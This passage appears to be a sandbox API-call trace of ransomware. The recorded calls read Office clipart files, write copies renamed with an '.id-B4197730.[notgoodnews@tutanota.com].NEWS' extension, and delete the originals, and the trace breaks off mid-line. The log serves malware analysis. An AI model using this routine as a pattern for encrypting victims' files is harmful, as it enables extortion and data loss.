[0076.658] lstrlenW (lpString=".xls") returned 4 [0076.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.658] lstrlenW (lpString=".xlsx") returned 5 [0076.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.658] lstrlenW (lpString=".ppt") returned 4 [0076.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".zip") returned 4 [0076.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.659] lstrlenW (lpString=".rar") returned 4 [0076.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString=".bz2") returned 4 [0076.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString=".7z") returned 3 [0076.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".dbf") returned 4 [0076.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".1cd") returned 4 [0076.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".jpg") returned 4 [0076.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".doc") returned 4 [0076.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString=".docx") returned 5 [0076.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.659] lstrlenW (lpString=".pdf") returned 4 [0076.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString=".xls") returned 4 [0076.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.659] lstrlenW (lpString=".xlsx") returned 5 [0076.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.659] lstrlenW (lpString=".ppt") returned 4 [0076.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.659] lstrlenW (lpString=".zip") returned 4 [0076.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.660] lstrlenW (lpString=".rar") returned 4 [0076.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.660] lstrlenW (lpString=".bz2") returned 4 [0076.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.660] lstrlenW (lpString=".7z") returned 3 [0076.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.660] lstrlenW (lpString=".dbf") returned 4 [0076.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.660] lstrlenW (lpString=".1cd") returned 4 [0076.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.660] lstrlenW (lpString=".jpg") returned 4 [0076.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.660] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.660] lstrlenW (lpString="AN04191_.WMF") returned 12 [0076.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.660] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6636) returned 1 [0076.661] CloseHandle (hObject=0x35c) returned 1 [0076.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0076.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.661] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.661] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0076.661] GetLastError () returned 0x0 [0076.661] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0076.663] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0076.664] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.664] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.664] SetEndOfFile (hFile=0x384) returned 1 [0076.664] CloseHandle (hObject=0x384) returned 1 [0076.665] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.665] SetEndOfFile (hFile=0x35c) returned 1 [0076.666] CloseHandle (hObject=0x35c) returned 1 [0076.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0076.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.666] lstrlenW (lpString=".doc") returned 4 [0076.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.666] lstrlenW (lpString=".docx") returned 5 [0076.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.666] lstrlenW (lpString=".pdf") returned 4 [0076.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.666] lstrlenW (lpString=".xls") returned 4 [0076.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.667] lstrlenW (lpString=".xlsx") returned 5 [0076.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.667] lstrlenW (lpString=".ppt") returned 4 [0076.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString=".zip") returned 4 [0076.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.667] lstrlenW (lpString=".rar") returned 4 [0076.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString=".bz2") returned 4 [0076.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString=".7z") returned 3 [0076.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString=".dbf") returned 4 [0076.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString=".1cd") returned 4 [0076.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString=".jpg") returned 4 [0076.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.667] lstrlenW (lpString=".doc") returned 4 [0076.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString=".docx") returned 5 [0076.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.667] lstrlenW (lpString=".pdf") returned 4 [0076.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.667] lstrlenW (lpString=".xls") returned 4 [0076.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.667] lstrlenW (lpString=".xlsx") returned 5 [0076.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.667] lstrlenW (lpString=".ppt") returned 4 [0076.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.668] lstrlenW (lpString=".zip") returned 4 [0076.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.668] lstrlenW (lpString=".rar") returned 4 [0076.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.668] lstrlenW (lpString=".bz2") returned 4 [0076.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.668] lstrlenW (lpString=".7z") returned 3 [0076.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.668] lstrlenW (lpString=".dbf") returned 4 [0076.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.668] lstrlenW (lpString=".1cd") returned 4 [0076.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0076.668] lstrlenW (lpString=".jpg") returned 4 [0076.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.668] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.668] lstrlenW (lpString="AN04195_.WMF") returned 12 [0076.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.668] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4612) returned 1 [0076.668] CloseHandle (hObject=0x35c) returned 1 [0076.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0076.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.669] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.669] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0076.669] GetLastError () returned 0x0 [0076.669] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1204, lpOverlapped=0x0) returned 1 [0076.671] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1210, lpOverlapped=0x0) returned 1 [0076.673] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.673] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.673] SetEndOfFile (hFile=0x384) returned 1 [0076.673] CloseHandle (hObject=0x384) returned 1 [0076.674] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.674] SetEndOfFile (hFile=0x35c) returned 1 [0076.675] CloseHandle (hObject=0x35c) returned 1 [0076.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString=".doc") returned 4 [0076.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".docx") returned 5 [0076.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.686] lstrlenW (lpString=".pdf") returned 4 [0076.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".xls") returned 4 [0076.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.686] lstrlenW (lpString=".xlsx") returned 5 [0076.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.686] lstrlenW (lpString=".ppt") returned 4 [0076.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString=".zip") returned 4 [0076.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.686] lstrlenW (lpString=".rar") returned 4 [0076.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".bz2") returned 4 [0076.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".7z") returned 3 [0076.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString=".dbf") returned 4 [0076.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString=".1cd") returned 4 [0076.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.686] lstrlenW (lpString=".jpg") returned 4 [0076.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString=".doc") returned 4 [0076.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString=".docx") returned 5 [0076.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.687] lstrlenW (lpString=".pdf") returned 4 [0076.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString=".xls") returned 4 [0076.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.687] lstrlenW (lpString=".xlsx") returned 5 [0076.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.687] lstrlenW (lpString=".ppt") returned 4 [0076.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString=".zip") returned 4 [0076.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.687] lstrlenW (lpString=".rar") returned 4 [0076.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString=".bz2") returned 4 [0076.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString=".7z") returned 3 [0076.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString=".dbf") returned 4 [0076.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString=".1cd") returned 4 [0076.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0076.687] lstrlenW (lpString=".jpg") returned 4 [0076.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.688] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.688] lstrlenW (lpString="AN04196_.WMF") returned 12 [0076.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.550] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3144) returned 1 [0077.550] CloseHandle (hObject=0x388) returned 1 [0077.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0077.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.550] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.550] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.551] GetLastError () returned 0x0 [0077.551] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xc48, lpOverlapped=0x0) returned 1 [0077.552] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xc50, lpOverlapped=0x0) returned 1 [0077.553] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.553] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.553] SetEndOfFile (hFile=0x308) returned 1 [0077.554] CloseHandle (hObject=0x308) returned 1 [0077.554] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.554] SetEndOfFile (hFile=0x388) returned 1 [0077.555] CloseHandle (hObject=0x388) returned 1 [0077.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.556] lstrlenW (lpString=".doc") returned 4 [0077.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.556] lstrlenW (lpString=".docx") returned 5 [0077.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.556] lstrlenW (lpString=".pdf") returned 4 [0077.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.556] lstrlenW (lpString=".xls") returned 4 [0077.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.556] lstrlenW (lpString=".xlsx") returned 5 [0077.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.556] lstrlenW (lpString=".ppt") returned 4 [0077.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft 